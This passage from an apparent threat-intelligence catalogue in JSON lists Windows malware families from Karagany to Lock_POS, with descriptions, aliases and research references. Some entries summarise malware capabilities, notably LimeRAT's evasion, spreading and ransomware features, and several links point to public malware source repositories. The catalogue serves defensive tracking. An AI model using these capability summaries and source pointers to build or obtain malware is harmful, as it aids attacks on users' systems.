      "uuid": "857e61fe-ccb2-426b-ad7b-696112f48dbb",
      "value": "Karagany"
    },
    {
      "description": "According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc.This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader",
          "https://asert.arbornetworks.com/kardon-loader-looks-for-beta-testers/",
          "https://engineering.salesforce.com/kardon-loader-malware-analysis-adaaaab42bab"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8b33ba21-9af7-4536-bd02-23dd863147e8",
      "value": "Kardon Loader"
    },
    {
      "description": "According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.\r\n\r\nIt comes with an injector that loads an intermediate \"proxy\" component, which in turn loads the actual banker component.\r\n\r\nCommunication with the c2 are in json format and encrypted with RC4 with a hardcoded key.\r\n\r\nIn the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.\r\n\r\n",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.karius",
          "https://research.checkpoint.com/banking-trojans-development/",
          "https://dissectmalware.wordpress.com/2018/03/28/multi-stage-powershell-script/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8a01c3be-17b7-4e5a-b0b2-6c1f5ccb82cf",
      "value": "Karius"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.karkoff",
          "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a45c16d9-6945-428c-af46-0436903f9329",
      "value": "Karkoff"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent",
          "http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/",
          "https://www.threatconnect.com/blog/kasperagent-malware-campaign/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d9c14095-8885-406c-b56b-06f3a1a88c1c",
      "value": "KasperAgent"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar",
          "http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bab92070-3589-4b7e-bf05-4f54bfefc2ca",
      "value": "Kazuar"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "96bb088c-7bb7-4a07-a9d7-a3cbb45d5755",
      "value": "Kegotip"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos",
          "https://www.crowdstrike.com/blog/inside-the-takedown-of-zombie-spider-and-the-kelihos-botnet/",
          "https://www.wired.com/2017/04/fbi-took-russias-spam-king-massive-botnet/",
          "https://www.cyberscoop.com/doj-kelihos-botnet-peter-levashov-severa/",
          "https://en.wikipedia.org/wiki/Kelihos_botnet"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7d69892e-d582-4545-8798-4a9a84a821ea",
      "value": "Kelihos"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown",
          "https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/",
          "https://blog.cystack.net/word-based-malware-attack/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bd9e21d1-7da3-4699-816f-0e368a63bc18",
      "value": "KerrDown"
    },
    {
      "description": "KeyBase is a .NET credential stealer and keylogger that first emerged in February 2015. It often incorporates Nirsoft tools such as MailPassView and WebBrowserPassView for additional credential grabbing.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.keybase",
          "https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/",
          "https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html",
          "https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/",
          "https://community.rsa.com/community/products/netwitness/blog/2018/02/15/malspam-delivers-keybase-keylogger-2-11-2017",
          "https://voidsec.com/keybase-en/",
          "https://www.virusbulletin.com/virusbulletin/2016/07/new-keylogger-block/",
          "https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/"
        ],
        "synonyms": [
          "Kibex"
        ],
        "type": []
      },
      "uuid": "8a7bb20e-7e90-4330-8f53-744bd5519f6f",
      "value": "KeyBase"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/",
          "https://citizenlab.ca/2016/11/parliament-keyboy/",
          "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html",
          "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/"
        ],
        "synonyms": [
          "TSSL"
        ],
        "type": []
      },
      "uuid": "28c13455-7f95-40a5-9568-1e8732503507",
      "value": "KeyBoy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3",
          "https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/",
          "https://twitter.com/smoothimpact/status/773631684038107136",
          "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "68039fbe-2eee-4666-b809-32a011e9852a",
      "value": "APT3 Keylogger"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble",
          "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A",
          "https://research.checkpoint.com/north-korea-turns-against-russian-targets/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0c213d7f-8c71-4341-aeb0-13be71fbf4e5",
      "value": "KEYMARBLE"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat",
          "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/",
          "https://blogs.forcepoint.com/security-labs/trojanized-adobe-installer-used-install-dragonok%E2%80%99s-new-custom-backdoor"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "361d3f09-8bc8-4b5a-803f-8686cf346047",
      "value": "KHRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac",
          "https://www.group-ib.com/resources/threat-research/silence.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f2ca304f-6577-4f3a-983c-beec447a9493",
      "value": "Kikothac"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk",
          "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e81f3e3f-966c-4c99-8d4b-fc0a1d3bb027",
      "value": "KillDisk"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kins",
          "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/",
          "https://www.youtube.com/watch?v=C-dEOt0GzSE",
          "https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/",
          "https://www.vkremez.com/2018/10/lets-learn-exploring-zeusvm-banking.html",
          "https://github.com/nyx0/KINS"
        ],
        "synonyms": [
          "Kasper Internet Non-Security",
          "Maple"
        ],
        "type": []
      },
      "uuid": "07f6bbff-a09a-4580-96ea-62795a8dae11",
      "value": "KINS"
    },
    {
      "description": "KleptoParasite Stealer is advertised on Hackforums as a noob-friendly stealer. It is modular and comes with a IP retriever module, a Outlook stealer (32bit/64bit) and a Chrome/Firefox stealer (32bit/64bit). Earlier versions come bundled (loader plus modules), newer versions come with a loader (167k) that grabs the modules.\r\n\r\nPDB-strings suggest a relationship to JogLog v6 and v7.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer"
        ],
        "synonyms": [
          "Joglog"
        ],
        "type": []
      },
      "uuid": "618b6f23-fc83-4aff-8b0a-7f7138be625c",
      "value": "KleptoParasite Stealer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd",
          "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks",
          "https://securitykitten.github.io/2016/11/28/the-klrd-keylogger.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "70459959-5a20-482e-b714-2733f5ff310e",
      "value": "KLRD"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic",
          "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/",
          "https://github.com/zerosum0x0/koadic"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3b5faa15-e87e-4aaf-b791-2c5e593793e6",
      "value": "Koadic"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kokokrypt",
          "https://twitter.com/struppigel/status/812726545173401600"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f7674d06-450a-4150-9180-afef94cce53c",
      "value": "KokoKrypt"
    },
    {
      "description": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management, Creating a reverse shell, running WMI queries, retrieving information about the infected system.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo",
          "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
          "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf",
          "https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2015-120808-5327-99",
          "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "116f4c5f-fd51-4e90-995b-f16c46523c06",
      "value": "KOMPROGO"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.konni",
          "http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
          "https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant",
          "https://vallejo.cc/2017/07/08/analysis-of-new-variant-of-konni-rat/",
          "http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f982fa2d-f78f-4fe1-a86d-d10471a3ebcf",
      "value": "Konni"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9430ce27-c8c5-44fb-9255-47d76a8903b3",
      "value": "KoobFace"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.korlia",
          "https://securitykitten.github.io/2014/11/25/curious-korlia.html",
          "https://camal.coseinc.com/publish/2013Bisonal.pdf",
          "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/",
          "http://asec.ahnlab.com/tag/Operation%20Bitter%20Biscuit",
          "https://www.rsaconference.com/writable/presentations/file_upload/cle-t04_final_v1.pdf"
        ],
        "synonyms": [
          "Bisonal"
        ],
        "type": []
      },
      "uuid": "52d98d2f-db62-430d-8658-5cadaeff6cd7",
      "value": "Korlia"
    },
    {
      "description": "Kovter is a Police Ransomware\r\n\r\nFeb 2012 - Police Ransomware\r\nAug 2013 - Became AD Fraud\r\nMar 2014 - Ransomware to AD Fraud malware\r\nJune 2014 - Distributed from sweet orange exploit kit\r\nDec 2014 - Run affiliated node\r\nApr 2015 - Spread via fiesta and nuclear pack\r\nMay 2015 - Kovter become fileless\r\n2016 - Malvertising campaign on Chrome and Firefox\r\nJune 2016 - Change in persistence\r\nJuly 2017 - Nemucod and Kovter was packed together\r\nJan 2018 - Cyclance report on Persistence",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kovter",
          "https://github.com/ewhitehats/kovterTools/blob/master/KovterWhitepaper.pdf",
          "https://blog.malwarebytes.com/threat-analysis/2015/01/major-malvertising-campaign-hits-sites-with-combined-total-monthly-traffic-of-1-5bn-visitors/",
          "https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/",
          "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/kovter-an-evolving-malware-gone-fileless"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "af3a0643-7a80-4b8f-961b-aea18e78715e",
      "value": "Kovter"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer",
          "https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b1fe4226-1783-48d4-b1d2-417703a03b3d",
      "value": "KPOT Stealer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kraken",
          "https://www.bleepingcomputer.com/news/security/kraken-cryptor-ransomware-masquerading-as-superantispyware-security-program/",
          "https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/",
          "https://www.recordedfuture.com/kraken-cryptor-ransomware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3d7ae6b9-8161-470e-a7b6-752151b21657",
      "value": "Kraken"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker",
          "https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html",
          "http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/",
          "https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan",
          "http://training.nshc.net/ENG/Document/virus/20140305_Internet_Bank_Pharming_-_BlackMoon_Ver_1.0_External_ENG.pdf",
          "https://zairon.wordpress.com/2014/04/15/trojan-banking-47d18761d46d8e7c4ad49cc575b0acc2bb3f49bb56a3d29fb1ec600447cb89a4/"
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        "synonyms": [
          "BlackMoon"
        ],
        "type": []
      },
      "uuid": "f4008c19-e81a-492a-abfe-f177e1ac5bce",
      "value": "KrBanker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader",
          "https://www.fidelissecurity.com/threatgeek/2017/05/blackmoon-rising-banking-trojan-back-new-framework"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c346faf0-9eb4-4f8a-8547-30e6641b8972",
      "value": "KrDownloader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos",
          "https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack",
          "https://www.proofpoint.com/us/threat-insight/post/kronos-reborn",
          "https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/",
          "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/",
          "https://www.lexsi.com/securityhub/overview-kronos-banking-malware-rootkit/?lang=en",
          "https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/",
          "https://www.lexsi.com/securityhub/kronos-decrypting-the-configuration-file-and-injects/?lang=en",
          "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/",
          "https://www.morphick.com/resources/news/scanpos-new-pos-malware-being-distributed-kronos",
          "https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/",
          "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware",
          "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/"
        ],
        "synonyms": [
          "Osiris"
        ],
        "type": []
      },
      "uuid": "62a7c823-9af0-44ee-ac05-8765806d2a17",
      "value": "Kronos"
    },
    {
      "description": "A keylogger used by Turla.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t",
          "https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "aa93d030-abef-4215-bc9e-6c7483562d19",
      "value": "KSL0T"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8"
        ],
        "synonyms": [
          "Barys",
          "Gofot",
          "Kuaibpy"
        ],
        "type": []
      },
      "uuid": "7d8943a4-b710-48d3-9352-e9b42516d2b7",
      "value": "Kuaibu"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f9b3757e-99c7-4999-8b79-87609407f895",
      "value": "Kuluoz"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1fc49b8c-647a-4484-a2f6-e6f2311f8b58",
      "value": "Kurton"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki",
          "https://cofense.com/kutaki-malware-bypasses-gateways-steal-users-credentials/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ff40299b-dc45-4a1c-bfe2-3864682b8fea",
      "value": "Kutaki"
    },
    {
      "description": "Kwampirs is a family of malware which uses SMB to spread. It typically will not execute or deploy in environments in which there is no publicly available admin$ share. It is a fully featured backdoor which can download additional modules. Typical C2 traffic is over HTTP and includes \"q=[ENCRYPTED DATA]\" in the URI.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs",
          "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia",
          "https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2fc93875-eebb-41ff-a66e-84471c6cd5a3",
      "value": "Kwampirs"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert",
          "http://adelmas.com/blog/longhorn.php",
          "https://www.youtube.com/watch?v=jeLd-gw2bWo",
          "https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7",
          "https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3af9397a-b4f7-467d-93af-b3d77dcfc38d",
      "value": "Lambert"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lamdelin",
          "http://news.thewindowsclub.com/poorly-coded-lamdelin-lockscreen-ransomware-alt-f4-88576/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "da79cf10-df9f-4cd3-bbce-ae9f357633f0",
      "value": "Lamdelin"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot",
          "https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html",
          "https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access",
          "http://malware-traffic-analysis.net/2017/04/25/index.html",
          "https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/",
          "https://www.cert.pl/news/single/latentbot-modularny-i-silnie-zaciemniony-bot/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7fc74551-013f-4dd1-8da9-9266edcc45d0",
      "value": "LatentBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus",
          "https://www.bleepingcomputer.com/news/security/polish-banks-infected-with-malware-hosted-on-their-own-governments-site/",
          "https://twitter.com/PhysicalDrive0/status/828915536268492800",
          "http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html",
          "https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "eead20f5-6a30-4700-8d14-cfb2d42eaff0",
      "value": "Lazarus (Windows)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok",
          "https://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector",
          "https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "686a9217-3978-47c0-9989-dd2a3438ba72",
      "value": "Laziok"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazycat",
          "https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "454db469-724a-4084-873c-906abf91d0d5",
      "value": "LazyCat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.leash",
          "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8faf7592-be5c-44af-b1ca-2bd8caec195d",
      "value": "Leash"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia",
          "https://www.rsaconference.com/writable/presentations/file_upload/crwd-t11-hide_and_seek-how_threat_actors_respond_in_the_face_of_public_exposure.pdf",
          "https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor-part-2.html",
          "https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor.html"
        ],
        "synonyms": [
          "shoco"
        ],
        "type": []
      },
      "uuid": "41da41aa-0729-428a-8b82-636600f8e230",
      "value": "Leouncia"
    },
    {
      "description": "Lethic is a spambot dating back to 2008. It is known to be distributing low-level pharmaceutical spam.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic",
          "http://www.malware-traffic-analysis.net/2017/11/02/index.html",
          "http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html",
          "https://www.arbornetworks.com/blog/asert/lethic-spambot-analysis-pills-watches-and-diplomas/",
          "http://resources.infosecinstitute.com/win32lethic-botnet-analysis/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "342f5c56-861c-4a06-b5db-85c3c424f51f",
      "value": "Lethic"
    },
    {
      "description": " ## Description\r\n Simple yet powerful RAT for Windows machines. This project is simple and easy to understand, It should give you a general knowledge about dotNET malwares and how it behaves. \r\n \r\n ---\r\n\r\n## Main Features\r\n\r\n- **.NET**\r\n    - Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0\r\n- **Connection**\r\n    - Using pastebin.com as ip:port , Instead of noip.com DNS. And Also using multi-ports\r\n- **Plugin**\r\n    - Using plugin system to decrease stub's size and lower the AV detection\r\n- **Encryption**\r\n    - The communication between server & client is encrypted with AES\r\n- **Spreading**\r\n    - Infecting all files and folders on USB drivers\r\n- **Bypass**\r\n    - Low AV detection and undetected startup method\r\n- **Lightweight**\r\n    - Payload size is about 25 KB\r\n- **Anti Virtual Machines**\r\n    - Uninstall itself if the machine is virtual to avoid scanning or analyzing \r\n- **Ransomware**\r\n    - Encrypting files on all HHD and USB with .Lime extension\r\n- **XMR Miner**\r\n    - High performance Monero CPU miner with user idle\\active optimizations\r\n- **DDoS**\r\n    - Creating a powerful DDOS attack to make an online service unavailable\r\n- **Crypto Stealer**\r\n    - Stealing Cryptocurrency sensitive data\r\n- **Screen-Locker**\r\n    - Prevents user from accessing their Windows GUI  \r\n - **And more**\r\n    - On Connect Auto Task\r\n\t- Force enable Windows RDP\r\n\t- Persistence\r\n    - File manager\r\n    - Passowrds stealer\r\n    - Remote desktop\r\n    - Bitcoin grabber\r\n    - Downloader\r\n    - Keylogger",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat",
          "https://www.youtube.com/watch?v=x-g-ZLeX8GM",
          "https://blog.yoroi.company/research/limerat-spreads-in-the-wild/",
          "https://github.com/NYAN-x-CAT/Lime-RAT/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "771dbe6a-3f01-4bd4-8edd-070b2eb9df66",
      "value": "LimeRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.limitail"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "dcd1f76d-5a40-4c58-b01e-a749871fe50b",
      "value": "Limitail"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix",
          "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "54c8a055-a4be-4ec0-9943-ecad929e0dac",
      "value": "Listrix"
    },
    {
      "description": "According to AlienVault, LiteHTTP bot is a new HTTP bot programmed in C#. The bot has the ability to collect system information, download and execute programs, and update and kill other bots present on the system. \r\n\r\nThe source is on GitHub: https://github.com/zettabithf/LiteHTTP",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp",
          "https://github.com/zettabithf/LiteHTTP",
          "https://malware.news/t/recent-litehttp-activities-and-iocs/21053"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2f9e1221-0a59-447b-a9e8-bedb010cd3d8",
      "value": "LiteHTTP"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga",
          "https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202",
          "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
          "https://www.abuse.io/lockergoga.txt",
          "https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880",
          "https://www.youtube.com/watch?v=o6eEN0mUakM",
          "https://www.helpnetsecurity.com/2019/04/02/aurora-decrypter-mira-decrypter/",
          "https://www.bleepingcomputer.com/news/security/new-lockergoga-ransomware-allegedly-used-in-altran-attack/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a4a6469d-6753-4195-9635-f11d458525f9",
      "value": "LockerGoga"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky",
          "http://securityaffairs.co/wordpress/49094/malware/zepto-ransomware.html",
          "https://blog.malwarebytes.com/threat-analysis/2017/01/locky-bart-ransomware-and-backend-server-analysis/",
          "https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-the-lukitus-extension-for-encrypted-files/",
          "http://blog.talosintelligence.com/2017/06/necurs-locky-campaign.html",
          "https://blog.botfrei.de/2017/08/weltweite-spamwelle-verbreitet-teufliche-variante-des-locky/",
          "https://www.bleepingcomputer.com/news/security/locky-ransomware-returns-but-targets-only-windows-xp-and-vista/",
          "https://blog.malwarebytes.com/threat-analysis/2016/03/look-into-locky/",
          "https://www.cylance.com/en_us/blog/threat-spotlight-locky-ransomware.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "24c9bb9f-1f9a-4e01-95d8-86c51733e11c",
      "value": "Locky"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "cd55cfa8-1e20-417b-9997-754b600f9f49",
      "value": "Locky (Decryptor)"
    },
    {
      "description": "For the lack of a better name, this is a VBS-based loader that was used in beginning of 2018 to deliver win.locky.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_loader"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "62c17ebb-4ea5-43bd-96fc-d9ac8d464aa2",
      "value": "Locky Loader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos",
